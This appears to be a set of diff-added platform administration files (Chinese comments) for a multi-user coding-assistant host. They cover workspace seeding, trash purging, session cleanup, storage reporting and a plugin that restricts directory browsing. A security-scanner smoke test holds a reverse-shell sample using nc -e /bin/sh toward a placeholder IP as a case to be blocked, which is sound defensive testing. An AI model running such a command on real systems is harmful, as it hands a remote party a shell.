s = s.replace(""" // 显式启动 = 新一轮:清空崩溃计数(用户重新进入后应拿到完整重试预算,档案 20)。
this.resetCrashState(userId)""",
""" // 显式启动 = 新一轮:清空崩溃计数(用户重新进入后应拿到完整重试预算,档案 20)。
this.resetCrashState(userId)
// 档案 18 v3 收尾:启动前补齐"受限目录选择器"(幂等;首登 profile 尚未创建时会自行跳过)。
this.ensurePickerProfile(userId)""", 1)
s = s.replace(""" if (isMain) await this.seedDefaultWorkspace(userId)""",
""" // spawn 成功后异步再补一次:首登时 profile 刚被 dsh 创建,这一次能真正装上(第二层自愈)。
if (isMain) this.ensurePickerProfile(userId)""", 1)
wr(p, s)
print('B4 + B2 已写入')
@@ -0,0 +1,88 @@
#!/usr/bin/env python3
# 档案 24 后续:预置默认工作区(编辑器要求"必须选工作区"才能开会话 → 平台直接种 ws)
# 用法: python3 patch-seed-workspace.py /opt/dshs
import io
import os
import sys
root = sys.argv[1] if len(sys.argv) > 1 else '.'
p = os.path.join(root, 'src/supervisor/orchestrator.ts')
s = io.open(p, encoding='utf-8').read()
def sub(old, new, cnt=1):
global s
assert old in s, 'anchor not found:\n' + old[:200]
s = s.replace(old, new, cnt)
# 1) 补 fs 导入
sub(
"import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'",
"import { chmodSync, chownSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'",
)
# 2) 在 spawnInstance 里对 main 预置工作区
sub(
""" const map = role === 'main' ? this.mains : this.watchdogs
map.set(userId, instance)""",
""" const map = role === 'main' ? this.mains : this.watchdogs
map.set(userId, instance)
// 档案 24 后续:main 启动前预置默认工作区(编辑器要求"必须选择工作区"才能开始会话;
// 平台直接把用户 ws 种进 workspace 存储 → 用户开箱即用、且 UI 只显示短标题而非完整路径)。
if (isMain) await this.seedDefaultWorkspace(userId)""",
)
# 3) 新增 seedDefaultWorkspace 方法(放在 writePatch 之前)
sub(
""" /** Materialize the rendered patch so the dsh CLI can `--patch <file>` it.""",
""" /**
* 预置默认工作区(幂等,仅在工作区列表为空时写入):
* 把 `<userRoot>/ws` 以短标题「我的工作区」写进 `<home>/storages/workspace.json`,
* 使新用户/清空后无需手动选择工作区即可开始会话;已有工作区时**不覆盖**用户现状。
* 失败不阻断启动(只记日志)。
*/
private async seedDefaultWorkspace(userId: string): Promise<void> {
const root = userRoot(this.config.dataRoot, userId)
const dir = join(homeRoot(root), 'storages')
const file = join(dir, 'workspace.json')
try {
mkdirSync(dir, { recursive: true })
let existing: { global?: { workspaceIds?: unknown } } | undefined
try {
existing = JSON.parse(readFileSync(file, 'utf8')) as { global?: { workspaceIds?: unknown } }
} catch {
existing = undefined
}
const ids = existing?.global?.workspaceIds
if (Array.isArray(ids) && ids.length > 0) return // 已有工作区 → 尊重用户现状
const ws = workspaceRoot(root)
const id = randomUUID()
const now = new Date().toISOString()
const seed = {
unit: { name: 'workspace', version: 2 },
global: { initialized: true, workspaceIds: [id], archivedSessionIds: [] },
tables: {
workspaces: {
[id]: { path: ws, title: '我的工作区', sessionIds: [], createdAt: now, updatedAt: now },
},
},
}
writeFileSync(file, JSON.stringify(seed, null, 2) + '\\n')
const uid = await this.resolveUid(userId)
chownSync(file, uid, uid) // 实例以该 uid 运行,需可读写
chownSync(dir, uid, uid)
process.stderr.write(`[seed-workspace] ${userId} → ${ws}\\n`)
} catch (err) {
process.stderr.write(
`[seed-workspace] failed for ${userId}: ${err instanceof Error ? err.message : String(err)}\\n`,
)
}
}
/** Materialize the rendered patch so the dsh CLI can `--patch <file>` it.""",
)
io.open(p, 'w', encoding='utf-8', newline='').write(s)
print('patched: fs import + spawnInstance 调用 + seedDefaultWorkspace 方法')
@@ -0,0 +1,12 @@
#!/usr/bin/env bash
# purge-trash.sh —— 清理各用户 trash/ 下超过 30 天的回收目录(档案 28)
# 回收站是"清理动作的缓冲区":脚本只做 mv 进来,只有本脚本才真正 rm。
set -uo pipefail
KEEP_DAYS="${1:-30}"
LOG=/var/log/dsh-trash-purge.log
echo "[$(date -Is)] purge trash older than ${KEEP_DAYS}d" >> "$LOG"
for t in /var/lib/dshs/users/*/trash; do
[ -d "$t" ] || continue
find "$t" -mindepth 1 -maxdepth 1 -mtime "+${KEEP_DAYS}" -print -exec rm -rf {} + >> "$LOG" 2>&1
done
echo "[$(date -Is)] done" >> "$LOG"
@@ -0,0 +1,21 @@
// 安全扫描分级冒烟(P0 阻断 / P1 告警)
const { mkdtempSync, writeFileSync, rmSync } = require('node:fs')
const { join } = require('node:path')
const { tmpdir } = require('node:os')
const { scanDir } = require('/opt/dshs/lib/web/security-scan.js')
const dir = mkdtempSync(join(tmpdir(), 'scan-smoke-'))
// ① P1 样例:动态执行 + 敏感 env(应告警不阻断)
writeFileSync(join(dir, 'a.js'), 'const cp = require("child_process");\nconst k = process.env.DEEPSEEK_API_KEY;\n')
let findings = []
try { findings = scanDir(dir) } catch (e) { console.log(' ❌ P1 样例被阻断(不该):', e.message.slice(0, 80)) }
console.log(' ① P1 样例 findings:', JSON.stringify(findings))
// ② P0 样例:反弹 shell(应阻断)
writeFileSync(join(dir, 'b.py'), 'import os\nos.system("nc -e /bin/sh 1.2.3.4 4444")\n')
try { scanDir(dir); console.log(' ❌ P0 样例未阻断(不该)') } catch (e) { console.log(' ✅ P0 样例已阻断:', e.message.slice(0, 90)) }
// ③ 良性样例:不应有任何 finding
const clean = mkdtempSync(join(tmpdir(), 'scan-clean-'))
writeFileSync(join(clean, 'ok.js'), 'export const hello = (n) => `hi ${n}`\n')
const cleanFindings = scanDir(clean)
console.log(' ② 良性样例 findings:', JSON.stringify(cleanFindings), cleanFindings.length === 0 ? '✅' : '❌')
rmSync(dir, { recursive: true, force: true }); rmSync(clean, { recursive: true, force: true })
@@ -0,0 +1,79 @@
#!/usr/bin/env node
/**
* session-gc.cjs —— 会话记录保留期回收(档案 14 §H3 / 档案 28)
* 规则(用户 2026-09-11 定):**每个用户的 sessions 达到阈值才触发**,清理 **超过 N 天** 的会话目录。
* 结构:<home>/sessions/<workspace-slug>/<session-id>/session.jsonl.zstd
* 安全:默认 dry-run;--apply 时 `mv` 到 <userRoot>/trash/<日期>-session-gc/(保留 30 天)。
* 说明:storages/session_projcache 体积很小(KB 级),本脚本不动它(留作后续细化)。
*
* 用法:node session-gc.cjs [--apply] [--threshold 500] [--days 90] [--user-id <uuid>]
*/
const { execFileSync } = require('node:child_process')
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
const { join } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const argv = process.argv.slice(2)
const APPLY = argv.includes('--apply')
const num = (flag, dflt) => { const i = argv.indexOf(flag); const v = i >= 0 ? Number(argv[i + 1]) : NaN; return Number.isFinite(v) ? v : dflt }
const THRESHOLD_MB = num('--threshold', 500)
const DAYS = num('--days', 90)
const idx = argv.indexOf('--user-id')
const ONLY = idx >= 0 ? argv[idx + 1] : ''
const STAMP = new Date().toISOString().slice(0, 10)
const CUTOFF = Date.now() - DAYS * 86400_000
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
const fmt = (b) => (b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all().filter((u) => ONLY === '' || u.id === ONLY)
for (const u of users) {
const sessions = join(u.home_dir, 'sessions')
if (!existsSync(sessions)) { console.log(` ${u.username}: NO_SESSIONS`); continue }
const total = duKB(sessions)
const over = total >= THRESHOLD_MB * 1048576
const stale = []
for (const slug of readdirSync(sessions)) {
const slugDir = join(sessions, slug)
let st; try { st = statSync(slugDir) } catch { continue }
if (!st.isDirectory()) continue
for (const sid of readdirSync(slugDir)) {
const sd = join(slugDir, sid)
let sst; try { sst = statSync(sd) } catch { continue }
if (!sst.isDirectory()) continue
const f = join(sd, 'session.jsonl.zstd')
let mtime = sst.mtimeMs
try { if (existsSync(f)) mtime = statSync(f).mtimeMs } catch {}
if (mtime < CUTOFF) stale.push({ p: sd, size: duKB(sd), mtime: new Date(mtime) })
}
}
const staleB = stale.reduce((a, c) => a + c.size, 0)
console.log(` ${u.username}: sessions=${fmt(total)} (${over ? '≥' : '<'} 阈值 ${THRESHOLD_MB}MB) | 超 ${DAYS} 天会话=${stale.length} 个 / ${fmt(staleB)}`)
for (const c of stale) console.log(` ${c.p.split('/').slice(-2).join('/')} ${fmt(c.size)} (${c.mtime.toISOString().slice(0, 10)})`)
if (APPLY && over && stale.length > 0) {
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-session-gc`)
mkdirSync(trash, { recursive: true })
for (const c of stale) {
const dest = join(trash, c.p.split('/').slice(-2).join('__'))
try { execFileSync('mv', [c.p, dest]); execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest]) }
catch (e) { console.log(` ! 失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
}
// 同步回收投影缓存:storages/session_projcache/sessions/<session-id>.json(按 id 精确匹配)
const pcDir = join(u.home_dir, 'storages', 'session_projcache', 'sessions')
let pcMoved = 0
if (existsSync(pcDir)) {
for (const c of stale) {
const sid = c.p.split('/').pop()
const pc = join(pcDir, `${sid}.json`)
if (existsSync(pc)) {
try { execFileSync('mv', [pc, join(trash, `projcache__${sid}.json`)]); pcMoved += 1 } catch {}
}
}
}
console.log(` → 已移 ${stale.length} 个会话 / ${fmt(staleB)}${pcMoved > 0 ? `(+ ${pcMoved} 个投影缓存)` : ''} → trash/${STAMP}-session-gc(保留 30 天)`)
} else if (APPLY && !over) console.log(' (未超阈值,跳过)')
}
db.close()
console.log(APPLY ? 'done(已按阈值执行)' : 'done(dry-run,未改动)')
@@ -0,0 +1,62 @@
#!/usr/bin/env node
/**
* storage-report.cjs —— 每用户存储用量上报(档案 28)
* 输出:/var/run/dsh-storage-report.json(供门户 GET /api/admin/storage 直接读取,避免每次请求都 du)
* cron:每小时一次。
*/
const { execFileSync } = require('node:child_process')
const { existsSync, writeFileSync } = require('node:fs')
const { join } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const OUT = process.env.DSH_STORAGE_REPORT ?? '/var/run/dsh-storage-report.json'
const WS_MB = Number(process.env.DSH_WS_THRESHOLD_MB ?? 2048)
const SESS_MB = Number(process.env.DSH_SESSIONS_THRESHOLD_MB ?? 1024)
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
const users = db.prepare('SELECT username, home_dir FROM users ORDER BY username').all()
const rows = users.map((u) => {
const ws = join(u.home_dir, '..', 'ws'), sessions = join(u.home_dir, 'sessions'), trash = join(u.home_dir, '..', 'trash')
const t1 = [], t2 = []
// 仅统计顶层候选(与 ws-cleanup 口径一致),供管理员判断
if (existsSync(ws)) {
const { readdirSync, statSync } = require('node:fs')
const T1_DIRS = ['.local', '.cache', '.poc-backup', 'poc', '__pycache__', '.pytest_cache', 'node_modules', '.ipynb_checkpoints']
const T1_SUFFIX = ['.tgz', '.tmp', '.log', '.bak', '.part', '.crdownload']
const T2_EXT = new Set(['.py', '.js', '.mjs', '.cjs', '.sh', '.bash', '.ps1', '.psm1', '.bat', '.cmd', '.ts', '.ipynb', '.sql'])
const CUTOFF = Date.now() - 90 * 86400_000
for (const e of readdirSync(ws)) {
const p = join(ws, e)
let st; try { st = statSync(p) } catch { continue }
if (st.isDirectory()) { if (T1_DIRS.includes(e)) t1.push({ name: e, size: duKB(p) }); continue }
const dot = e.lastIndexOf('.')
const ext = dot >= 0 ? e.slice(dot).toLowerCase() : ''
if (T1_SUFFIX.includes(ext)) t1.push({ name: e, size: st.size })
else if (T2_EXT.has(ext) && st.mtimeMs < CUTOFF) t2.push({ name: e, size: st.size })
}
}
const wsB = existsSync(ws) ? duKB(ws) : 0
const sessB = existsSync(sessions) ? duKB(sessions) : 0
const trashB = existsSync(trash) ? duKB(trash) : 0
return {
username: u.username,
ws: wsB, sessions: sessB, trash: trashB, total: wsB + sessB + trashB,
wsOver: wsB >= WS_MB * 1048576, sessionsOver: sessB >= SESS_MB * 1048576,
cleanableT1: t1.length, cleanableT2: t2.length,
cleanableBytes: [...t1, ...t2].reduce((a, c) => a + c.size, 0),
topCleanable: [...t1, ...t2].sort((a, b) => b.size - a.size).slice(0, 5).map((c) => `${c.name} (${(c.size / 1048576).toFixed(1)}MB)`),
}
})
db.close()
const report = {
generatedAt: new Date().toISOString(),
thresholds: { wsMB: WS_MB, sessionsMB: SESS_MB, keepDays: { ws: 90, sessions: 365 }, trashKeepDays: 30 },
totals: { ws: rows.reduce((a, r) => a + r.ws, 0), sessions: rows.reduce((a, r) => a + r.sessions, 0), trash: rows.reduce((a, r) => a + r.trash, 0) },
users: rows,
}
writeFileSync(OUT, JSON.stringify(report, null, 2) + '\n')
const fmt = (b) => (b >= 1073741824 ? (b / 1073741824).toFixed(2) + 'G' : (b / 1048576).toFixed(1) + 'M')
for (const r of rows) console.log(` ${r.username}: ws=${fmt(r.ws)} sessions=${fmt(r.sessions)} trash=${fmt(r.trash)} | 可清 ${r.cleanableT1 + r.cleanableT2} 项/${fmt(r.cleanableBytes)}`)
console.log(` → 已写入 ${OUT}`)
@@ -0,0 +1,45 @@
# @dsh-local/workspace-scoped-picker
会话内「添加工作区」目录选择器:把列举/建目录的根收敛为**当前用户自有目录**(`<userRoot>/ws`),
所有用户含 admin 一视同仁。见文档库档案 18。
## 生效机制(2026-09-11 实证修订)
| 尝试 | 结果 |
|---|---|
| bundle patch 用「同 id 换 name」覆盖官方 `directory-picker` 行 | ❌ 不生效(官方 `-auto` 行原样保留) |
| profile `cordis.patch.yml` 用「同 id 换 name」覆盖 | ❌ 不生效(dump-config 实测未应用) |
| **profile 层:`insert` 自建行 + 对官方行 `disabled: true`** | ✅ 采用(`disabled` 是档案 09 已验证的机制) |
生效写法(写入 `<profile>/cordis.patch.yml`):
```yaml
- insert:
- id: workspace-scoped-picker
name: "@dsh-local/workspace-scoped-picker"
- id: directory-picker
name: "@deepseek-ai/dsh-host-directory-picker-auto"
disabled: true
```
## 安装(必须走 pnpm)
```bash
cd <profile dir>
HOME=<userRoot>/ws pnpm add file:<userRoot>/ws/workspace-scoped-picker-0.1.0.tgz
# 手放 node_modules 无效:pnpm-lock.yaml 才是安装账本
```
## 依赖解析
唯一外部物是官方 seam 基类,用**绝对路径动态 import** 取得(不复制/不改官方包):
`/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js`,
可用 `DSH_SEAM_DIRECTORY_PICKER` 覆盖。
## 自检
```bash
DSH_WORKSPACE_ROOT=/tmp/picker-test node test/poc.mjs # 26 项断言;须从实例 uid 可读的路径运行
```
> 注意:源码在 `/opt/dshs/poc/`(700 root),实例 uid 读不到 → 安装时必须**复制**到 profile。
@@ -0,0 +1,9 @@
# @dsh-local/workspace-scoped-picker — bundle patch(**空补丁,勿在此插入行**)
#
# 2026-09-11 事故记录:本文件曾写成 insert `workspace-scoped-picker` 行,而 profile 层
# 的 cordis.patch.yml 也 insert 同一 id → 加载器报
# "duplicate loader entry id: workspace-scoped-picker" → 实例启动失败并崩溃循环(已熔断)。
#
# 结论:**本包的行由 profile 层单点插入**(平台安装脚本写入,与官方行的 disabled 一起),
# 本 bundle patch 保持空,避免双写。
[]
@@ -0,0 +1,93 @@
#!/usr/bin/env node
/**
* ensure-workspace-picker-patch.cjs —— 把「工作区目录选择器收敛」平台段幂等写入各用户 profile patch。
*
* 背景(档案 18 v3,2026-09-11 实测):
* · 官方 dsh-web-app 的 `directory-picker` 行(@…-auto) 在启动时**连带挂载客户端对话框**
* (@deepseek-ai/dsh-client-ui-directory-picker-browse);把它 disabled 会让对话框消失(点不动)。
* · 该 client 包自带 dsh.client 元数据,可**单独作为一行**插入 → 保留官方对话框 UI。
* · host 面(seam) 改由自建 @dsh-local/workspace-scoped-picker 提供:根固定为 <userRoot>/ws,
* 越界(/etc、..、他人目录、符号链接逃逸)一律拒绝 → 路径框里手输也出不去。
* · 另由该插件的 client 面注入 CSS,隐藏「改路径」入口(crumbEditZone/Glyph)。
*
* 用法:
* node ensure-workspace-picker-patch.cjs # 全部用户(幂等)
* node ensure-workspace-picker-patch.cjs --dry-run # 只打印计划
* node ensure-workspace-picker-patch.cjs --restart # 写后 kill 实例(由崩溃自愈拉起,读新 patch)
* node ensure-workspace-picker-patch.cjs admin guest # 指定用户
*
* 幂等:以 BEGIN/END 标记包裹平台段;已存在即跳过(不改内容)。
* 注意:本脚本**只追加平台段**,不触碰既有内容(角色 patch 等原样保留)。
*/
const { execFileSync } = require('node:child_process')
const { existsSync, readFileSync, writeFileSync } = require('node:fs')
const { join } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const DB_PATH = '/var/lib/dshs/dshs.db'
const PROFILE = 'web'
const BEGIN = '# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker-patch.cjs)'
const END = '# <<< platform: workspace-scoped-picker'
const DRY = process.argv.includes('--dry-run')
const RESTART = process.argv.includes('--restart')
const only = process.argv.slice(2).filter((a) => !a.startsWith('--'))
const BLOCK = [
BEGIN,
'# 目录选择器收敛:官方对话框 UI 保留(单独插入 client 面),host 面换成受限实现(根=自有 ws)',
'- insert:',
' - id: workspace-scoped-picker',
' name: "@dsh-local/workspace-scoped-picker"',
' - id: ui-directory-picker-browse',
' name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"',
'- id: directory-picker',
' name: "@deepseek-ai/dsh-host-directory-picker-auto"',
' disabled: true',
END,
'',
].join('\n')
const db = new Database(DB_PATH, { readonly: true })
const users = db
.prepare('SELECT username, uid, home_dir FROM users')
.all()
.filter((u) => only.length === 0 || only.includes(u.username))
for (const user of users) {
const patchPath = join(user.home_dir, 'profiles', PROFILE, 'cordis.patch.yml')
if (!existsSync(patchPath)) {
console.log(` ${user.username}: NO_PROFILE(用户未首登 spawn,先登录一次)`)
continue
}
const current = readFileSync(patchPath, 'utf8')
if (current.includes(BEGIN)) {
console.log(` ${user.username}: skip(平台段已存在)`)
continue
}
const body = current.trim() === '' || current.trim() === '[]' ? '' : current.trimEnd() + '\n\n'
const next = body + BLOCK
if (DRY) {
console.log(` ${user.username}: [dry-run] 将写入 ${patchPath}`)
continue
}
writeFileSync(patchPath, next, 'utf8')
try {
execFileSync('chown', [`${user.uid}:${user.uid}`, patchPath])
} catch {}
console.log(` ${user.username}: wrote(已追加平台段)${RESTART ? ' + 重启实例' : ''}`)
if (RESTART) {
try {
const out = execFileSync('ps', ['-eo', 'pid,user', '--no-headers'], { encoding: 'utf8' })
for (const line of out.split('\n')) {
const [pid, uname] = line.trim().split(/\s+/)
if (pid && uname === `dsh-${user.uid}`) {
try {
process.kill(Number(pid))
} catch {}
}
}
} catch {}
}
}
db.close()
console.log('done')
@@ -0,0 +1,189 @@
#!/usr/bin/env node
/**
* ensure-workspace-picker.cjs —— 全量/新用户「目录选择器收敛」自动铺开(幂等)
*
* 做两件事(缺一不可):
* ① 把受限目录选择器插件装进该用户的 profile(每个用户 profile 独立,必须逐用户 pnpm add)
* ② 把「平台段」写进该用户的 <profile>/cordis.patch.yml(让 dsh 启动时加载插件并 disable 官方 picker)
*
* 用法:
* node ensure-workspace-picker.cjs # 全部用户(幂等),产物取 /opt/dsh/artifacts 下最新
* node ensure-workspace-picker.cjs --tgz <path> # 指定插件 tgz
* node ensure-workspace-picker.cjs --dry-run # 只打印计划
* node ensure-workspace-picker.cjs --restart # 写完后 kill 实例(崩溃自愈会用新配置拉起)
* node ensure-workspace-picker.cjs admin guest # 指定用户名
* node ensure-workspace-picker.cjs --user-id <uuid> # 指定用户(编排器自愈用,档案 18 v3 第二层)
*
* 幂等性:
* · 平台段以 BEGIN/END 标记包裹;已存在即跳过(不改内容)
* · 插件按已装版本比对;版本一致即跳过安装
* 安全:只追加平台段、不触碰既有内容(角色 patch 等);失败逐用户隔离,不影响他人。
*/
const { execFileSync } = require('node:child_process')
const { existsSync, readFileSync, readdirSync, writeFileSync } = require('node:fs')
const { join } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const DB = '/var/lib/dshs/dshs.db'
const ARTIFACTS = '/opt/dsh/artifacts'
const PROFILE = 'web'
const BEGIN = '# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker.cjs)'
const END = '# <<< platform: workspace-scoped-picker'
// marker 宽松匹配:历史上有过 `…picker-patch.cjs` 的旧标记形式,必须同样识别(2026-09-11 事故)
const BEGIN_RE = /^# >>> platform: workspace-scoped-picker/
const END_RE = /^# <<< platform: workspace-scoped-picker/
/** 剥离**所有**平台段(任意标记形式),返回剩余正文与剥离份数(用于自愈重复段)。 */
function stripPlatformSegments(text) {
const kept = []
let skipping = false
let removed = 0
for (const line of text.split('\n')) {
if (BEGIN_RE.test(line)) {
skipping = true
removed += 1
continue
}
if (skipping) {
if (END_RE.test(line)) skipping = false
continue
}
kept.push(line)
}
return { body: kept.join('\n').trim(), removed }
}
const argv = process.argv.slice(2)
const DRY = argv.includes('--dry-run')
const RESTART = argv.includes('--restart')
const valueOf = (flag) => {
const i = argv.indexOf(flag)
return i >= 0 && argv[i + 1] !== undefined && !argv[i + 1].startsWith('--') ? argv[i + 1] : ''
}
const tgzFlag = valueOf('--tgz')
const onlyIds = valueOf('--user-id') === '' ? [] : [valueOf('--user-id')]
// 位置参数 = 用户名(排除各 flag 的取值)
const flagValues = new Set([tgzFlag, ...onlyIds].filter((v) => v !== ''))
const only = argv.filter((a) => !a.startsWith('--') && !flagValues.has(a))
function pickTgz() {
if (tgzFlag !== '') return tgzFlag
const files = readdirSync(ARTIFACTS)
.filter((f) => /^workspace-scoped-picker-.*\.tgz$/.test(f))
.sort((a, b) => a.localeCompare(b, undefined, { numeric: true }))
if (files.length === 0) throw new Error(`未在 ${ARTIFACTS} 找到插件产物`)
return join(ARTIFACTS, files[files.length - 1])
}
const TGZ = pickTgz()
const VER = (TGZ.match(/workspace-scoped-picker-(.+)\.tgz$/) || [])[1] || 'unknown'
const BLOCK = [
BEGIN,
'# 目录选择器收敛(档案 18 v3):官方对话框 UI 保留(单独插入 client 面),',
'# host 面换成受限实现(根=自有 ws,越界拒绝);插件 client 面再注入 CSS 隐藏「改路径」入口。',
'- insert:',
' - id: workspace-scoped-picker',
' name: "@dsh-local/workspace-scoped-picker"',
' - id: ui-directory-picker-browse',
' name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"',
'- id: directory-picker',
' name: "@deepseek-ai/dsh-host-directory-picker-auto"',
' disabled: true',
END,
'',
].join('\n')
const db = new Database(DB, { readonly: true })
const users = db
.prepare('SELECT id, username, uid, home_dir FROM users')
.all()
.filter(
(u) =>
(only.length === 0 && onlyIds.length === 0) || only.includes(u.username) || onlyIds.includes(u.id),
)
console.log(`插件产物: ${TGZ}(版本 ${VER})`)
for (const user of users) {
const profileDir = join(user.home_dir, 'profiles', PROFILE)
const patchPath = join(profileDir, 'cordis.patch.yml')
// 2026-09-11 修复:不再把 tgz 复制进用户工作区、也不再让 pnpm 把 store/cache 写进 ws。
// 旧做法(HOME=<ws> pnpm add file:<ws>/xxx.tgz)会在 ws 里生成 .local/(pnpm store)、
// .cache/(metadata)与 *.tgz —— 实测污染 admin ws 达 17MB / 2045 个文件。
// 现在:直接用 artifacts 里的 tgz 绝对路径(root 可读、全局只读),store/cache 显式指向 <home>。
const storeDir = join(user.home_dir, '.pnpm-store')
const cacheDir = join(user.home_dir, '.pnpm-cache')
if (!existsSync(profileDir)) {
console.log(` ${user.username}: NO_PROFILE(用户还没首登 spawn;下次 provisioning/启动会补)`)
continue
}
// ① 平台段(先剥离所有旧段再比对 → 天然自愈重复/旧标记)
const raw = existsSync(patchPath) ? readFileSync(patchPath, 'utf8') : ''
const { body, removed } = stripPlatformSegments(raw)
const normalized = body === '' || body === '[]' ? '' : body + '\n\n'
const want = normalized + BLOCK
const needPatch = want !== raw
// ② 插件版本
const installed = (() => {
try {
const pj = join(profileDir, 'node_modules', '@dsh-local', 'workspace-scoped-picker', 'package.json')
return JSON.parse(readFileSync(pj, 'utf8')).version
} catch {
return null
}
})()
const needInstall = installed !== VER
if (!needPatch && !needInstall) {
console.log(` ${user.username}: skip(平台段已在,插件 v${installed})`)
continue
}
if (DRY) {
console.log(` ${user.username}: [dry-run] patch=${needPatch} install=${needInstall}${removed > 1 ? ` 旧段=${removed}` : ''}`)
continue
}
if (needPatch) {
writeFileSync(patchPath, want, 'utf8')
try {
execFileSync('chown', [`${user.uid}:${user.uid}`, patchPath])
} catch {}
console.log(` ${user.username}: 平台段已写入${removed > 1 ? `(并自愈了 ${removed} 份重复/旧标记段)` : ''}`)
}
if (needInstall) {
try {
// profile 若为 pnpm workspace 根,必须 -w(否则 ERR_PNPM_ADDING_TO_ROOT)
const isRoot = existsSync(join(profileDir, 'pnpm-workspace.yaml'))
const args = ['--reuid', String(user.uid), '--regid', String(user.uid), '--clear-groups',
'env', `HOME=${user.home_dir}`, 'pnpm', 'add',
'--store-dir', storeDir, '--cache-dir', cacheDir]
if (isRoot) args.push('-w')
args.push(`file:${TGZ}`)
execFileSync('setpriv', args, { cwd: profileDir, stdio: 'pipe', timeout: 180000 })
console.log(` ${user.username}: 插件已装 v${VER}${isRoot ? '(-w)' : ''}(store/cache 在 home,ws 保持干净)`)
} catch (err) {
console.log(` ${user.username}: 插件安装失败 → ${String(err.message || err).split('\n')[0]}`)
continue
}
}
if (RESTART) {
try {
const out = execFileSync('ps', ['-eo', 'pid,user', '--no-headers'], { encoding: 'utf8' })
for (const line of out.split('\n')) {
const [pid, uname] = line.trim().split(/\s+/)
if (pid && uname === `dsh-${user.uid}`) {
try {
process.kill(Number(pid))
} catch {}
}
}
console.log(` ${user.username}: 实例已重启(自愈拉起)`)
} catch {}
}
}
db.close()
console.log('done')
@@ -0,0 +1,52 @@
// @dsh-local/workspace-scoped-picker — client half(档案 18 v3 收尾 · 2026-09-11)
//
// 目的:让用户在「选择工作区目录」对话框里**看不到"改路径"输入口**(官方对话框的
// crumbEditZone / crumbEditGlyph),从而无法通过手输 `/` 或 `..` 跳出自己的目录。
// 手段:纯 CSS 覆盖(不改官方包、不替换官方 UI)——dsh client bundle 以普通脚本执行并向
// window.__ModuleLoader__ 注册 factory,这里只导出 apply + inject(**绝不 exports.default**,红线 R3)。
//
// 说明:越界本身已由 host 面(@dsh-local/workspace-scoped-picker 的 list/createDirectory)
// 拒绝;本 CSS 只是**从界面上消除这个入口**,属 defense-in-depth + 体验收敛。
window.__ModuleLoader__.load({
id: "@dsh-local/workspace-scoped-picker",
factory: (require) => {
var module = { exports: {} };
var exports = module.exports;
Object.defineProperty(exports, Symbol.toStringTag, { value: "Module" });
var STYLE_ID = "wsp-hide-path-edit";
/** 注入一次样式:隐藏路径编辑区/编辑图标(含 CSS-module 哈希类名的模糊匹配)。 */
function hidePathEditZone() {
if (typeof document === "undefined") return;
if (document.getElementById(STYLE_ID) !== null) return;
var style = document.createElement("style");
style.id = STYLE_ID;
style.textContent = [
/* 「选择工作区目录」对话框顶部的可编辑路径框与其铅笔图标 */
'[class*="crumbEditZone"]{display:none !important}',
'[class*="crumbEditGlyph"]{display:none !important}',
'[class*="crumbEditSource"]{display:none !important}',
/* 兜底:任何以 crumbEdit 开头的类(防官方改名/加类) */
'[class^="crumbEdit"],[class*=" crumbEdit"]{display:none !important}',
].join("\n");
(document.head || document.documentElement).appendChild(style);
}
function apply() {
hidePathEditZone();
// 对话框可能是懒挂载的:监听一次 DOM 变化,出现即注入(样式是幂等的)。
if (typeof MutationObserver !== "undefined" && typeof document !== "undefined") {
var observer = new MutationObserver(function () {
hidePathEditZone();
});
observer.observe(document.documentElement, { childList: true, subtree: true });
}
}
exports.apply = apply;
exports.inject = []; // 不需要任何 slot,纯副作用
return module.exports;
},
});
@@ -0,0 +1,253 @@
/**
* @dsh-local/workspace-scoped-picker — 会话内工作区目录选择器(根 = 用户自有目录)。
*
* 档案 18:官方 `dsh-host-directory-picker-browse` 的策略是 whole-filesystem scope
* (向导 /etc、/usr、/proc),本包把 enumerate/create 的根收敛为「当前用户自有目录」,
* **所有用户含 admin 一视同仁**;越界一律抛 seam 的封闭错误码。
*
* 根解析优先级:`process.env.DSH_WORKSPACE_ROOT` → `process.cwd()`
* (编排器 spawn 时以 `--chdir <userRoot>/ws` 启动,故 cwd 即用户工作区,双保险)。
*
* 依赖策略(红线 R2:不复制、不修改官方包):
* 唯一需要官方物 = seam 基类;用**绝对路径动态 import** 取得,解析到与核心同一个模块实例
* (ESM 模块缓存按 realpath 去重)。可选 env `DSH_SEAM_DIRECTORY_PICKER` 指定路径。
*
* 官方契约(对齐 `dsh-host-directory-picker` 类型定义 与 `-browse` 实现):
* - 默认导出 = 继承 `DirectoryPicker` 的 Service 子类;加载即注册 `ctx.directoryPicker`
* - `capability()` 返回稳定对象:`{ kind: 'browse', list(path?, signal?), createDirectory(path, name) }`
* - 列举只返回**目录**行,按名排序,跟随指向目录的符号链接,`hidden` = 点号前缀
* - `crumbs` = 祖先链(本实现以自有根为顶层,而不是文件系统 /)
* - 错误码封闭:`directory-unreadable` / `directory-exists` / `directory-create-failed`
*
* @module @dsh-local/workspace-scoped-picker
*/
import { mkdir, opendir, realpath, stat } from 'node:fs/promises'
import { basename, dirname, isAbsolute, join, resolve, sep } from 'node:path'
import { pathToFileURL } from 'node:url'
/** 单个列举层级的行数上限(与官方后端同为 GitHub 风格 1000)。 */
